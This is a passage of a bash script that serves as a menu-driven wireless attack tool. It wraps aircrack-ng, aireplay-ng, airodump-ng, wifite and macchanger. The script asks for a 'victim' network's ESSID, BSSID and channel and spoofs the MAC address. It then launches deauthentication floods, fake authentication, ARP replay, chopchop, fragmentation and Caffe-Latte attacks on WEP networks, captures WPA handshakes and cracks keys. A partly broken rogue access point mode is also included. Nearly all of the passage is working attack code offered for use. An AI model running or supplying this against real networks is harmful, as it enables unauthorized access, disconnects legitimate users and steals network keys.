echo "PRESS ENTER TO RETURN TO PREVIOUS MENU!"
echo "*******************************************"
echo ""
echo ""
echo ""
echo "Welcome to the Help Section!"
echo ""
echo ""
echo ""
echo "CURRENTLY NOT AVAILABLE!"
echo ""
echo ""
echo ""
echo ""
echo ""

read getHelp

case "$getHelp" in

"")
$lastMenuID
#menuMain
#menuHelp
;;

"M" | "m")
menuMain
;;

"A" | "a")
menuAdvanced
;;

"S" | "s")
menuSessionSave
;;

"L" | "l")
menuSessionLoad
;;

"Z" | "z")
menuHoneyPotMode
;;

"H" | "h")
menuHelp
;;

"E" | "e")
menuExtras
;;

"X" | "x")
killAll
stopMonitorMode
bannerExit
;;

*)
$lastMenuID
#menuMain
#menuHelp
;;

esac

$lastMenuID

}


menuChangeTerminal(){

currentTask="menuChangeTerminal"
#lastMenuID="menuChangeTerminal"

banner


echo ""
echo "Select a new terminal to use"
echo ""
echo ""
echo "Current Terminal: $terminal"
echo ""
echo ""
echo "1) Gnome: $terminalGnome"
echo ""
echo "2) Konsole: $terminalKonsole"
echo ""
echo "3) X-Term: $terminalXterm"
echo ""
echo "4) Custom (User Selected)"
echo ""
echo "5) Return To Previous Menu"
echo ""
echo ""

read getTerminalType

case "$getTerminalType" in

"")
menuChangeTerminal
;;

"1")
terminal="$terminalGnome"
terminalText="Gnome"
;;

"2")
terminal="$terminalKonsole"
terminalText="Konsole"
;;

"3")
terminal="$terminalXterm"
terminalText="Xterm"
;;

"4")
banner
echo ""
echo "Input a terminal string with arguments and press ENTER:"
echo ""
echo ""
echo "Example: $terminalGnome"
echo ""
echo ""

read newTerminal

case "$newTerminal" in

*)
terminal="$newTerminal"
terminalText="Custom"
;;

esac

;;

"5")
menuExtras
;;

"M" | "m")
menuMain
;;

"A" | "a")
menuAdvanced
;;

"S" | "s")
menuSessionSave
;;

"L" | "l")
menuSessionLoad
;;

"Z" | "z")
menuHoneyPotMode
;;

"H" | "h")
menuHelp
;;

"E" | "e")
menuExtras
;;

"X" | "x")
killAll
stopMonitorMode
bannerExit
;;

*)
menuChangeTerminal
;;

esac

menuMain

}


############################################################################
#   MENUS: MAIN END   ######################################################
############################################################################





############################################################################
#   MENUS: SESSIONS BEGIN   ################################################
############################################################################


menuSessionSave(){

# Not needed for this menu
currentTask="menuSessionSave"
#lastMenuID="menuSessionSave"

banner
bannerStats

echo "Session Save Menu"
echo ""
echo ""
echo ""
echo ""
echo ""
echo "Save As: "$capturePath/$encryptionType/$encryptionType.sessions""
echo ""
echo ""
echo ""
echo "Press "\""S"\" "and ENTER to save session file now"
echo ""
echo ""
echo "You may also just press ENTER to return to the previous menu...."
echo ""
echo ""

getSession="S"
#read getSession

case "$getSession" in

"")
$lastMenuID
;;

"M" | "m")
menuMain
;;

"A" | "a")
menuAdvanced
;;

"S" | "s")
sessionSave
;;

"L" | "l")
menuSessionLoad
;;

"Z" | "z")
menuHoneyPotMode
;;

"H" | "h")
menuHelp
;;

"E" | "e")
menuExtras
;;

"X" | "x")
killAll
stopMonitorMode
bannerExit
;;

*)
$lastMenuID
;;

esac

$lastMenuID

}


menuSessionLoad(){

# Not needed for this menu
currentTask="menuSessionLoad"
#lastMenuID="menuSessionLoad"

banner
bannerStats

echo "Session Load Menu"
echo ""
echo ""
echo ""
echo ""
echo ""
echo "Current File Loaded: $capturePath/$encryptionType/$encryptionType.sessions"
echo ""
echo ""
echo ""
echo "Press "\""L"\" "and ENTER to load session file now"
echo ""
echo ""
echo "You may also just press ENTER to return to the previous menu...."
echo ""
echo ""

getSession="L"
#read getSession

case "$getSession" in

"")
$lastMenuID
;;

"M" | "m")
menuMain
;;

"A" | "a")
menuAdvanced
;;

"S" | "s")
menuSessionSave
;;

"L" | "l")
sessionLoad
;;

"Z" | "z")
menuHoneyPotMode
;;

"H" | "h")
menuHelp
;;

"E" | "e")
menuExtras
;;

"X" | "x")
killAll
stopMonitorMode
bannerExit
;;

*)
$lastMenuID
;;

esac

$lastMenuID

}


menuHoneyPotMode(){

currentTask="menuHoneyPotMode"

initMonitorMode

banner
bannerStats

echo ""
echo "I Am HoneyPot Mode"
echo ""
echo "I Am Also Broken :("
echo ""
echo ""
echo ""
echo "1) Use Airbase-ng"
echo ""
echo "2) Use Wifi-Honey"
echo ""
echo "3) Use a Custom Binary"
echo ""
echo ""
echo ""
echo "Select an option and press ENTER:"
echo ""
echo ""

read getHoneyPotOptionMain

case "$getHoneyPotOptionMain" in

"")
menuHoneyPotMode
#$lastMenuID
#menuMain
#menuAdvanced
;;

"1")
getBSSID
$terminal airbase-ng -a $bssid -i $interfaceMonitor -h $macAddressMonitor -v &
;;

"2")
getESSID
getChannel
$terminal wifi-honey $essid $channel $interfaceMonitor &
;;

"3")
echo "Custom Binary"
read pause
menuHoneyPotMode
;;

"M" | "m")
killAll
stopMonitorMode
menuMain
;;

"A" | "a")
menuAdvanced
;;

"S" | "s")
menuSessionSave
;;

"L" | "l")
menuSessionLoad
;;

"Z" | "z")
menuHoneyPotMode
;;

"H" | "h")
menuHelp
;;

"E" | "e")
menuExtras
;;

"X" | "x")
killAll
stopMonitorMode
bannerExit
;;

*)
menuHoneyPotMode
#$lastMenuID
#menuMain
#menuAdvanced
;;

esac

#restartProcesses

menuHoneyPotMode
#$lastMenuID


}


############################################################################
#   MENUS: SESSIONS END   ##################################################
############################################################################





############################################################################
#   GET CREDENTIALS BEGIN   ################################################
############################################################################


getESSID(){

currentTask="getESSID"

banner
bannerStats

echo ""

case "$encryptionTypeText" in
"WPS")
echo "THERE SHOULD NOW BE TWO (2) TERMINAL WINDOWS OPEN"
echo ""
echo "YOU CAN USE THE AIRODUMP WINDOW (ALL WHITE TEXT) TO GATHER ALL NEEDED INFORMATION"
echo ""
echo "YOU CAN COPY AND PASTE (CTRL+SHIFT+C) (CTRL+SHIFT+V) TO ENTER TARGET INFO BELOW"
echo ""
echo "THE WIFITE WINDOW (WITH GREEN TEXT) WILL HELP YOU TO DETERMINE WHICH TARGETS SUPPORT WPS"
echo ""
echo "NOTE: YOU MAY HAVE TO MOVE ONE OF THE WINDOWS IF THEY ARE STACKED YOU MAY NOT SEE BOTH"
echo ""
echo ""
echo ""
;;
esac

case "$encryptionTypeText" in
"WEP")
echo "THERE SHOULD NOW BE A NEW TERMINAL WINDOW OPEN"
echo ""
echo "YOU CAN USE THE AIRODUMP WINDOW TO GATHER ALL NEEDED INFORMATION"
echo ""
echo "YOU CAN COPY AND PASTE (CTRL+SHIFT+C) (CTRL+SHIFT+V) TO ENTER TARGET INFO BELOW"
echo ""
echo ""
echo ""
;;
esac

case "$encryptionTypeText" in
"WPA")
echo "THERE SHOULD NOW BE A NEW TERMINAL WINDOW OPEN"
echo ""
echo "YOU CAN USE THE AIRODUMP WINDOW TO GATHER ALL NEEDED INFORMATION"
echo ""
echo "YOU CAN COPY AND PASTE (CTRL+SHIFT+C) (CTRL+SHIFT+V) TO ENTER TARGET INFO BELOW"
echo ""
echo ""
echo ""
;;
esac

case "$encryptionTypeText" in
"WPA2")
echo "THERE SHOULD NOW BE A NEW TERMINAL WINDOW OPEN"
echo ""
echo "YOU CAN USE THE AIRODUMP WINDOW TO GATHER ALL NEEDED INFORMATION"
echo ""
echo "YOU CAN COPY AND PASTE (CTRL+SHIFT+C) (CTRL+SHIFT+V) TO ENTER TARGET INFO BELOW"
echo ""
echo ""
echo ""
;;
esac

echo "PASTE or type the Victim ESSID Here and press ENTER:"
echo ""
echo "Example: NETGEAR"
echo ""
echo ""

read getESSIDTemp

case "$getESSIDTemp" in

"")
getESSID
;;

"M" | "m")
killAll
stopMonitorMode
menuMain
;;

"A" | "a")
menuAdvanced
;;

"S" | "s")
menuSessionSave
;;

"L" | "l")
menuSessionLoad
;;

"Z" | "z")
menuHoneyPotMode
;;

"H" | "h")
menuHelp
;;

"E" | "e")
menuExtras
;;

"X" | "x")
killAll
stopMonitorMode
bannerExit
;;

*)
essid="$getESSIDTemp"
;;

esac

}


getBSSID(){

currentTask="getBSSID"

banner

bannerStats

echo ""

case "$encryptionTypeText" in
"WPS")
echo "THERE SHOULD NOW BE TWO (2) TERMINAL WINDOWS OPEN"
echo ""
echo "YOU CAN USE THE AIRODUMP WINDOW (ALL WHITE TEXT) TO GATHER ALL NEEDED INFORMATION"
echo ""
echo "YOU CAN COPY AND PASTE (CTRL+SHIFT+C) (CTRL+SHIFT+V) TO ENTER TARGET INFO BELOW"
echo ""
echo "THE WIFITE WINDOW (WITH GREEN TEXT) WILL HELP YOU TO DETERMINE WHICH TARGETS SUPPORT WPS"
echo ""
echo "NOTE: YOU MAY HAVE TO MOVE ONE OF THE WINDOWS IF THEY ARE STACKED YOU MAY NOT SEE BOTH"
echo ""
echo ""
echo ""
;;
esac

case "$encryptionTypeText" in
"WEP")
echo "THERE SHOULD NOW BE A NEW TERMINAL WINDOW OPEN"
echo ""
echo "YOU CAN USE THE AIRODUMP WINDOW TO GATHER ALL NEEDED INFORMATION"
echo ""
echo "YOU CAN COPY AND PASTE (CTRL+SHIFT+C) (CTRL+SHIFT+V) TO ENTER TARGET INFO BELOW"
echo ""
echo ""
echo ""
;;
esac

case "$encryptionTypeText" in
"WPA")
echo "THERE SHOULD NOW BE A NEW TERMINAL WINDOW OPEN"
echo ""
echo "YOU CAN USE THE AIRODUMP WINDOW TO GATHER ALL NEEDED INFORMATION"
echo ""
echo "YOU CAN COPY AND PASTE (CTRL+SHIFT+C) (CTRL+SHIFT+V) TO ENTER TARGET INFO BELOW"
echo ""
echo ""
echo ""
;;
esac

case "$encryptionTypeText" in
"WPA2")
echo "THERE SHOULD NOW BE A NEW TERMINAL WINDOW OPEN"
echo ""
echo "YOU CAN USE THE AIRODUMP WINDOW TO GATHER ALL NEEDED INFORMATION"
echo ""
echo "YOU CAN COPY AND PASTE (CTRL+SHIFT+C) (CTRL+SHIFT+V) TO ENTER TARGET INFO BELOW"
echo ""
echo ""
echo ""
;;
esac

echo "PASTE or type the Victim BSSID Here and press ENTER:"
echo ""
echo "Example: A1:B2:C3:D4:E5:F6"
echo ""
echo ""

read getBSSIDTemp

case "$getBSSIDTemp" in

"")
getBSSID
;;

"M" | "m")
killAll
stopMonitorMode
menuMain
;;

"A" | "a")
menuAdvanced
;;

"S" | "s")
menuSessionSave
;;

"L" | "l")
menuSessionLoad
;;

"Z" | "z")
menuHoneyPotMode
;;

"H" | "h")
menuHelp
;;

"E" | "e")
menuExtras
;;

"X" | "x")
killAll
stopMonitorMode
bannerExit
;;

*)
bssid="$getBSSIDTemp"
;;

esac

}


getChannel(){

currentTask="getChannel"

banner
bannerStats

echo ""

case "$encryptionTypeText" in
"WPS")
echo "THERE SHOULD NOW BE TWO (2) TERMINAL WINDOWS OPEN"
echo ""
echo "YOU CAN USE THE AIRODUMP WINDOW (ALL WHITE TEXT) TO GATHER ALL NEEDED INFORMATION"
echo ""
echo "YOU CAN COPY AND PASTE (CTRL+SHIFT+C) (CTRL+SHIFT+V) TO ENTER TARGET INFO BELOW"
echo ""
echo "THE WIFITE WINDOW (WITH GREEN TEXT) WILL HELP YOU TO DETERMINE WHICH TARGETS SUPPORT WPS"
echo ""
echo "NOTE: YOU MAY HAVE TO MOVE ONE OF THE WINDOWS IF THEY ARE STACKED YOU MAY NOT SEE BOTH"
echo ""
echo ""
echo ""
;;
esac

case "$encryptionTypeText" in
"WEP")
echo "THERE SHOULD NOW BE A NEW TERMINAL WINDOW OPEN"
echo ""
echo "YOU CAN USE THE AIRODUMP WINDOW TO GATHER ALL NEEDED INFORMATION"
echo ""
echo "YOU CAN COPY AND PASTE (CTRL+SHIFT+C) (CTRL+SHIFT+V) TO ENTER TARGET INFO BELOW"
echo ""
echo ""
echo ""
;;
esac

case "$encryptionTypeText" in
"WPA")
echo "THERE SHOULD NOW BE A NEW TERMINAL WINDOW OPEN"
echo ""
echo "YOU CAN USE THE AIRODUMP WINDOW TO GATHER ALL NEEDED INFORMATION"
echo ""
echo "YOU CAN COPY AND PASTE (CTRL+SHIFT+C) (CTRL+SHIFT+V) TO ENTER TARGET INFO BELOW"
echo ""
echo ""
echo ""
;;
esac

case "$encryptionTypeText" in
"WPA2")
echo "THERE SHOULD NOW BE A NEW TERMINAL WINDOW OPEN"
echo ""
echo "YOU CAN USE THE AIRODUMP WINDOW TO GATHER ALL NEEDED INFORMATION"
echo ""
echo "YOU CAN COPY AND PASTE (CTRL+SHIFT+C) (CTRL+SHIFT+V) TO ENTER TARGET INFO BELOW"
echo ""
echo ""
echo ""
;;
esac

echo "Enter the Victim CHANNEL and press ENTER:"
echo ""
echo "Example: 6"
echo ""
echo ""

read getChannelTemp

case "$getChannelTemp" in

"")
getChannel
;;

"M" | "m")
killAll
stopMonitorMode
menuMain
;;

"A" | "a")
menuAdvanced
;;

"S" | "s")
menuSessionSave
;;

"L" | "l")
menuSessionLoad
;;

"Z" | "z")
menuHoneyPotMode
;;

"H" | "h")
menuHelp
;;

"E" | "e")
menuExtras
;;

"X" | "x")
killAll
stopMonitorMode
bannerExit
;;

*)
channel="$getChannelTemp"
;;

esac

}


############################################################################
#   GET CREDENTIALS END   ##################################################
############################################################################





############################################################################
#   MAC ADDRESS STUFF BEGIN   ##############################################
############################################################################


getMacAddress(){

currentTask="getMacAddress"

macAddress=$(ip link show $interface | tail -n 1 |  cut -f 6 -d " ")

}


getMacAddressMonitor(){

currentTask="getMacAddressMonitor"

macAddressMonitor=$(ip link show $interfaceMonitor | tail -n 1 |  cut -f 6 -d " ")

}


setMacAddress(){

currentTask="setMacAddress"

ifconfig $interface down
macchanger -m $getNewMacAdressTemp $interface
ifconfig $interface up

spoofStatus="1"

macAddress="$getNewMacAdressTemp"

}


setMacAddressMonitor(){

currentTask="setMacAddressMonitor"

ifconfig $interfaceMonitor down
macchanger -m $getNewMacAdressTemp $interfaceMonitor
ifconfig $interfaceMonitor up

spoofStatus="1"

macAddressMonitor="$getNewMacAdressTemp"

}


getRandomMacAddress(){

currentTask="getRandomMacAddress"

ifconfig $interface down
macchanger -r $interface
ifconfig $interface up

spoofStatus="1"

getMacAddress

#macAddress="$getNewMacAdressTemp"

}


getRandomMacAddressMonitor(){

currentTask="getRandomMacAddressMonitor"

ifconfig $interfaceMonitor down
macchanger -r $interfaceMonitor
ifconfig $interfaceMonitor up

spoofStatus="1"

getMacAddressMonitor

#macAddressMonitor="$getNewMacAdressTemp"

}


spoofMacAddress(){

currentTask="spoofMacAddress"
#lastMenuID="spoofMacAddress"

banner

bannerStats

echo ""
echo "To choose a random MAC Address, press the "\"R"\" key and press ENTER"
echo ""
echo ""
echo "Enter the New MAC Address and press ENTER:"
echo ""
echo "Example: 00:11:22:33:44:55"
echo ""
echo ""

read getNewMacAdressTemp

case "$getNewMacAdressTemp" in

"")
spoofMacAddress
;;

"R" | "r")
getRandomMacAddress
getRandomMacAddressMonitor
$lastMenuID
;;

"M" | "m")
spoofStatus="0"
killAll
stopMonitorMode
menuMain
;;

"A" | "a")
menuAdvanced
;;

"S" | "s")
menuSessionSave
;;

"L" | "l")
menuSessionLoad
;;

"Z" | "z")
menuHoneyPotMode
;;

"H" | "h")
menuHelp
;;

"E" | "e")
menuExtras
;;

"X" | "x")
killAll
stopMonitorMode
bannerExit
;;

*)
setMacAddress
setMacAddressMonitor
$lastMenuID
;;

esac

}


checkSpoofStatus(){

case "$spoofStatus" in

"0")
#blank=""
initMonitorMode
;;

esac

}


############################################################################
#   MAC ADDRESS STUFF END   ################################################
############################################################################





############################################################################
#   MONITOR MODE STUFF BEGIN   #############################################
############################################################################


initMonitorMode(){

currentTask="initMonitorMode"

#killProcesses
stopMonitorMode

disableChannelHopping
enableChannelHopping

getWirelessInterfaces

banner

initMon=""

case "$initMon" in

"")
getMacAddress
setMonitorMode
getMacAddressMonitor
getWirelessInterfaces
;;

"M" | "m")
menuMain
;;

"A" | "a")
menuAdvanced
;;

"S" | "s")
menuSessionSave
;;

"L" | "l")
menuSessionLoad
;;

"Z" | "z")
menuHoneyPotMode
;;

"H" | "h")
menuHelp
;;

"E" | "e")
menuExtras
;;

"X" | "x")
killAll
stopMonitorMode
bannerExit
;;

*)
getMacAddress
setMonitorMode
getMacAddressMonitor
getWirelessInterfaces
;;

esac

}


setMonitorMode(){

currentTask="setMonitorMode"

#interfaceMonitor="mon0"
$startMonitorMode $interface

}


stopMonitorMode(){

currentTask="stopMonitorMode"

banner
echo ""
echo "Killing all active previous monitor mode interfaces...."
echo ""
echo ""
$stopMonitorMode mon0
banner
echo ""
echo "Killing all active previous monitor mode interfaces...."
echo ""
echo ""
$stopMonitorMode mon1
banner
echo ""
echo "Killing all active previous monitor mode interfaces...."
echo ""
echo ""
$stopMonitorMode mon2
banner
echo ""
echo "Killing all active previous monitor mode interfaces...."
echo ""
echo ""
$stopMonitorMode mon3
banner
echo ""
echo "Killing all active previous monitor mode interfaces...."
echo ""
echo ""
$stopMonitorMode mon4
banner
echo ""
echo "Killing all active previous monitor mode interfaces...."
echo ""
echo ""
$stopMonitorMode mon5
banner
echo ""
echo "Killing all active previous monitor mode interfaces...."
echo ""
echo ""
$stopMonitorMode mon6
banner
echo ""
echo "Killing all active previous monitor mode interfaces...."
echo ""
echo ""
$stopMonitorMode mon7
banner
echo ""
echo "Killing all active previous monitor mode interfaces...."
echo ""
echo ""
$stopMonitorMode mon8
banner
echo ""
echo "Killing all active previous monitor mode interfaces...."
echo ""
echo ""
$stopMonitorMode mon9
banner
echo ""
echo "Killing all active previous monitor mode interfaces...."
echo ""
echo ""
$stopMonitorMode mon10
banner
echo ""
echo "Killing all active previous monitor mode interfaces...."
echo ""
echo ""
$stopMonitorMode mon11
banner
echo ""
echo "Killing all active previous monitor mode interfaces...."
echo ""
echo ""
$stopMonitorMode mon12

banner

}


############################################################################
#   MONITOR MODE STUFF END   ###############################################
############################################################################





############################################################################
#   ATTACKS: GLOBAL BEGIN   ################################################
############################################################################


autoModeUsePreviousSession(){

currentTask="autoModeUsePreviousSession"

sessionCopyNewCaptureFiles

case "$encryptionType" in

"wep")
autoModeUsePreviousSessionWEP
;;

"wps")
autoModeUsePreviousSessionWPS
;;

"wpa")
autoModeUsePreviousSessionWPA
;;

"wpa2")
autoModeUsePreviousSessionWPA2
;;

esac

}


autoModeNoPreviousSession(){

currentTask="autoModeNoPreviousSession"

case "$encryptionType" in

"wep")
autoModeNoPreviousSessionWEP
;;

"wps")
autoModeNoPreviousSessionWPS
;;

"wpa")
autoModeNoPreviousSessionWPA
;;

"wpa2")
autoModeNoPreviousSessionWPA2
;;

esac

}


adFileDump(){

currentTask="adFileDump"

case "$encryptionType" in

"wep")
adFileDumpWEP
;;

"wps")
adFileDumpWPS
;;

"wpa")
adFileDumpWPA
;;

"wpa2")
adFileDumpWPA2
;;

esac

}


adFileDumpNoChannel(){

currentTask="adFileDumpNoChannel"

case "$encryptionType" in

"wep")
adFileDumpNoChannelWEP
;;

"wps")
adFileDumpNoChannelWPS
;;

"wpa")
adFileDumpNoChannelWPA
;;

"wpa2")
adFileDumpNoChannelWPA2
;;

esac

}


aircrackDecrypt(){

currentTask="aircrackDecrypt"

sessionCopyNewCaptureFiles

case "$encryptionType" in

"wep")
aircrackDecryptWEP
;;

"wps")
aircrackDecryptWPS
;;

"wpa")
aircrackDecryptWPA
;;

"wpa2")
aircrackDecryptWPA2
;;

esac

}


adAPScan(){

currentTask="adAPScan"

echo ""
echo ""

$terminal airodump-ng --channel $channel -i $interfaceMonitor &
#$terminal airodump-ng --ignore-negative-one --channel $channel -i $interfaceMonitor &
#read pause

echo ""
echo ""

}


adAPScanWifiteWPS(){

currentTask="adAPScanWifiteWPS"

echo ""
echo ""

$terminal $wifiteAttackWPS -c $channel -i $interfaceMonitor &

echo ""
echo ""

}


adAPScanWifiteWEP(){

currentTask="adAPScanWifiteWEP"

echo ""
echo ""

$terminal $wifiteAttackWEP -c $channel -i $interfaceMonitor &

echo ""
echo ""

}


adAPScanNoChannel(){

currentTask="adAPScanNoChannel"

echo ""
echo ""
$terminal airodump-ng -i $interfaceMonitor &
#$terminal airodump-ng --ignore-negative-one -i $interfaceMonitor &
#read pause

echo ""
echo ""

}


adAPScanWifiteWPSNoChannel(){

currentTask="adAPScanWifiteWPSNoChannel"

echo ""
echo ""

$terminal $wifiteAttackWPS -i $interfaceMonitor &

echo ""
echo ""

}


adAPScanWifiteWEPNoChannel(){

currentTask="adAPScanWifiteWEPNoChannel"

echo ""
echo ""

$terminal $wifiteAttackWEP -i $interfaceMonitor &

echo ""
echo ""

}


############################################################################
#   ATTACKS: GLOBAL END   ##################################################
############################################################################





############################################################################
#   ATTACKS: WEP BEGIN   ###################################################
############################################################################


autoModeNoPreviousSessionWEP(){

currentTask="autoModeNoPreviousSessionWEP"

adAPScanNoChannel

sleepMessage="Setting Up User Input...."
doSleepMessage
sleep 2

getESSID
getBSSID
getChannel

sessionWriteBeginNew
sessionCopyNewCaptureFiles

sleepMessage="Killing airodump-ng Sessions...."
doSleepMessage
sleep 2

killAirodump
killWifite

sleepMessage="Preparing Client Association...."
doSleepMessage
sleep 2

arAssociate
#sleep 10
#killAireplay

sleepMessage="Preparing airodump-ng Session...."
doSleepMessage
sleep 2

adFileDump
menuAttacksWEP

}


autoModeUsePreviousSessionWEP(){

currentTask="autoModeUsePreviousSessionWEP"

sessionWriteLoadPrevious


sleepMessage="Preparing Client Association...."
doSleepMessage
sleep 2

arAssociate

sleepMessage="Preparing airodump-ng Session...."
doSleepMessage
sleep 2

adFileDump

menuAttacksWEP

}


menuAttacksWEP(){

currentTask="menuAttacksWEP"
lastMenuID="menuAttacksWEP"

sessionCopyNewCaptureFiles


banner
bannerStats

echo ""
echo "Choose an attack to perform and press ENTER:"
echo ""
echo ""
echo "1) De-Auth (De-Authenticate All Stations) (0=Constant)"
echo "2) Fake Auth (Fake Authentication with AP)"
echo "3) Interactive Attack (Interactive Frame Selection)"
echo "4) ARP Replay (Standard ARP Request Replay)"
echo "5) ChopChop Atack (Decrypt WEP Packets)"
echo "6) Fragment Attack (Generates a Valid Keystream)"
echo "7) Caffe-Latte Attack (Query Client for New IV's)"
echo "8) C-Frag (Fragments Against a Client)"
echo "9) MigMode (Attacks WPA Migration Mode)"
echo ""
echo "R) Re-Associate (Associate with Client)"
echo "N) Start New Capture (Log to a new CAP file)"
echo "T) Test (Tests Injection and Quality)"
echo ""
echo "C) Run Aircrack (Crack WEP Key) **If decryption fails, press ENTER from aircrack to return here**"
echo ""

read getBSSID

case "$getBSSID" in

"")
menuAttacksWEP
;;

"M" | "m")
killAll
stopMonitorMode
menuMain
;;

"A" | "a")
menuAdvanced
;;

"S" | "s")
menuSessionSave
;;

"L" | "l")
menuSessionLoad
;;

"Z" | "z")
menuHoneyPotMode
;;

"H" | "h")
menuHelp
;;

"E" | "e")
menuExtras
;;

"X" | "x")
killAll
stopMonitorMode
bannerExit
;;

"C" | "c")
aircrackDecrypt
;;

"R" | "r")
arAssociate
;;

"T" | "t")
arAttackTest
;;

"N" | "n")
adFileDump
;;

"0")
arAttackDeAuthConstant
;;

"1")
arAttackDeAuth
;;

"2")
arAttackFakeAuth
;;

"3")
arAttackInteractive
;;

"4")
arAttackArpReplay
;;

"5")
arAttackChopChop
;;

"6")
arAttackFragment
;;

"7")
arAttackCaffeLatte
;;

"8")
arAttackCfrag
;;

"9")
arAttackMigMode
;;

*)
menuAttacksWEP
;;

esac

menuAttacksWEP

}


menuAttacksWEPWifiteAuto(){

currentTask="menuAttacksWEPWifiteAuto"
lastMenuID="menuAttacksWEPWifiteAuto"

killAll

#$terminal $wifiteAttackWEP -c $channel -b $bssid -e $essid -wepsave -wepca 1000 &
$terminal $wifiteAttackWEP -wepsave -wepca 1000 &

banner
bannerStats

echo ""
echo "The wifite session should be launched in a separate window."
echo ""
echo "PRESS ENTER ONLY WHEN THE SESSION HAS FINISHED!"
echo ""
echo "AS SOON AS ENTER IS PRESSED THE WIFITE SESSION WILL BE RESET!"
echo ""

read pause

killAll
menuAuto

}


arAssociate(){

currentTask="arAssociate"

echo ""
echo ""

$terminal aireplay-ng -1 6000 -e $essid -a $bssid -h $macAddressMonitor $interfaceMonitor &

echo ""
echo ""

}


adFileDumpWEP(){

currentTask="adFileDumpWEP"

echo ""
echo ""

disableChannelHopping

$terminal airodump-ng -w "dump_$essid" --bssid $bssid --channel $channel -i $interfaceMonitor &
#$terminal airodump-ng --ignore-negative-one -w "dump_$essid" --bssid $bssid --channel $channel -i $interfaceMonitor &
#read pause

#Working (uses session path)
#$terminal airodump-ng -w "$capturePath/$encryptionType/dump_$essid" --bssid $bssid --channel $channel -i $interfaceMonitor &

echo ""
echo ""

}

adFileDumpNoChannelWEP(){

currentTask="adFileDumpNoChannelWEP"

echo ""
echo ""

$terminal airodump-ng -w "dump_$essid" --bssid $bssid -i $interfaceMonitor &
#$terminal airodump-ng --ignore-negative-one -w "dump_$essid" --bssid $bssid -i $interfaceMonitor &
#read pause

#Working (uses session path)
#$terminal airodump-ng -w "$capturePath/$encryptionType/dump_$essid" --bssid $bssid -i $interfaceMonitor &

echo ""
echo ""

}


arAttackDeAuth(){

currentTask="arAttackDeAuth"

retryDeauth="0"

sleepMessage="Preparing to De-Authenticate All Connected Stations...."
doSleepMessage
sleep 2

$terminal aireplay-ng --deauth 5 -a $bssid $interfaceMonitor &

sleepMessage="De-Authenticating All Connected Stations...."
doSleepMessage
sleep 5

}


arAttackDeAuthOnRetry(){

currentTask="arAttackDeAuthOnRetry"

retryDeauth="0"

sleepMessage="Preparing to De-Authenticate All Connected Stations...."
doSleepMessage
sleep 2

$terminal aireplay-ng --deauth 5 -a $bssid $interfaceMonitor &

sleepMessage="De-Authenticating All Connected Stations...."
doSleepMessage
sleep 5

}


arAttackDeAuthConstant(){

currentTask="arAttackDeAuthConstant"

retryDeauth="0"

sleepMessage="De-Authenticating All Connected Stations...."
doSleepMessage
sleep 2

$terminal aireplay-ng --deauth 0 -a $bssid $interfaceMonitor &

}


arAttackFakeAuth(){

currentTask="arAttackFakeAuth"

$terminal aireplay-ng -1 1 -a $bssid -h $macAddressMonitor -e "$essid" $interfaceMonitor &

}


arAttackInteractive(){

currentTask="arAttackInteractive"

$terminal aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -a $bssid -h $macAddressMonitor $interfaceMonitor &

}


arAttackArpReplay(){

currentTask="arAttackArpReplay"

$terminal aireplay-ng -3 -e $essid -b $bssid -h $macAddressMonitor $interfaceMonitor &

}


arAttackChopChop(){

currentTask="arAttackChopChop"

$terminal aireplay-ng -4 -a $bssid -h $macAddressMonitor $interfaceMonitor &

}


arAttackFragment(){

currentTask="arAttackFragment"

$terminal aireplay-ng -5 -e $essid -b $bssid -h $macAddressMonitor $interfaceMonitor &

}


arAttackCaffeLatte(){

currentTask="arAttackCaffeLatte"

$terminal aireplay-ng -6 -e $essid -b $bssid -h $macAddressMonitor $interfaceMonitor &

}


arAttackCfrag(){

currentTask="arAttackCfrag"

$terminal aireplay-ng -7 -e $essid -b $bssid -h $macAddressMonitor $interfaceMonitor &

}


arAttackMigMode(){

currentTask="arAttackMigMode"

$terminal aireplay-ng -8 -e $essid -b $bssid -h $macAddressMonitor $interfaceMonitor &

}


arAttackTest(){

currentTask="arAttackTest"

$terminal aireplay-ng -9 -e $essid -a $bssid -h $macAddressMonitor $interfaceMonitor &

}

aircrackDecryptWEP(){

currentTask="aircrackDecryptWEP"

banner
bannerStats

echo ""
echo "Preparing capture files for aircrack-ng...."
echo ""
echo ""


aircrack-ng -e "$essid" -b $bssid -l "key_$essid" *.cap *.ivs&

#echo ""
#echo ""
#echo ""
#echo "FOUND KEY: "
echo ""
echo ""
echo ""
echo "Press ENTER to return to Attacks Menu...."
echo ""
echo ""

read acPause

menuAttacksWEP

}


############################################################################
#   ATTACKS: WEP END   #####################################################
############################################################################





############################################################################
#   ATTACKS: WPA BEGIN   ###################################################
############################################################################


autoModeNoPreviousSessionWPA(){

currentTask="autoModeNoPreviousSessionWPA"

adAPScanNoChannel

sleepMessage="Setting Up User Input...."
doSleepMessage
sleep 2

getESSID
getBSSID
getChannel

sessionWriteBeginNew
sessionCopyNewCaptureFiles

sleepMessage="Killing Airodump Window...."
doSleepMessage
sleep 2


killAirodump


menuAttacksWPA

echo ""
echo ""
echo "Press any key to continue...."
echo ""
echo ""

read pause

}


autoModeUsePreviousSessionWPA(){

currentTask="autoModeUsePreviousSessionWPA"

sessionWriteLoadPrevious

menuAttacksWPA


echo ""
echo ""
echo "Press any key to continue...."
echo ""
echo ""

read pause

}


menuAttacksWPA(){

currentTask="menuAttacksWPA"

banner
bannerStats

# Only run a deauth with default text and settings if not re-forced through menu
case "$retryDeauth" in

"0")
killAll

adFileDump

sleepMessage="Preparing to Capture WPA Handshake...."
doSleepMessage
sleep 2

arAttackDeAuth
captureHandshakeWPA
;;

"1")
sleepMessage="Preparing to De-Authenticate All Connected Stations...."
doSleepMessage
sleep 1
arAttackDeAuthOnRetry
captureHandshakeWPA
;;
esac

}


adFileDumpWPA(){

currentTask="adFileDumpWPA"

sleepMessage="Preparing to Capture WPA Handshake...."
doSleepMessage
sleep 3

disableChannelHopping

$terminal airodump-ng $interfaceMonitor --bssid $bssid --channel $channel --write "dump_$essid"

echo ""
echo ""

}


adFileDumpNoChannelWPA(){

currentTask="adFileDumpNoChannelWPA"

echo ""
echo ""

$terminal airodump-ng -w "dump_$essid" --bssid $bssid -i $interfaceMonitor &

#Working (uses session path)
#$terminal airodump-ng -w "$capturePath/$encryptionType/dump_$essid" --bssid $bssid -i $interfaceMonitor &

echo ""
echo ""

}


aircrackDecryptWPA(){

currentTask="aircrackDecryptWPA"
lastMenuID="aircrackDecryptWPA"

banner
bannerStats


sleepMessage="Preparing captured handshake for aircrack-ng...."
doSleepMessage
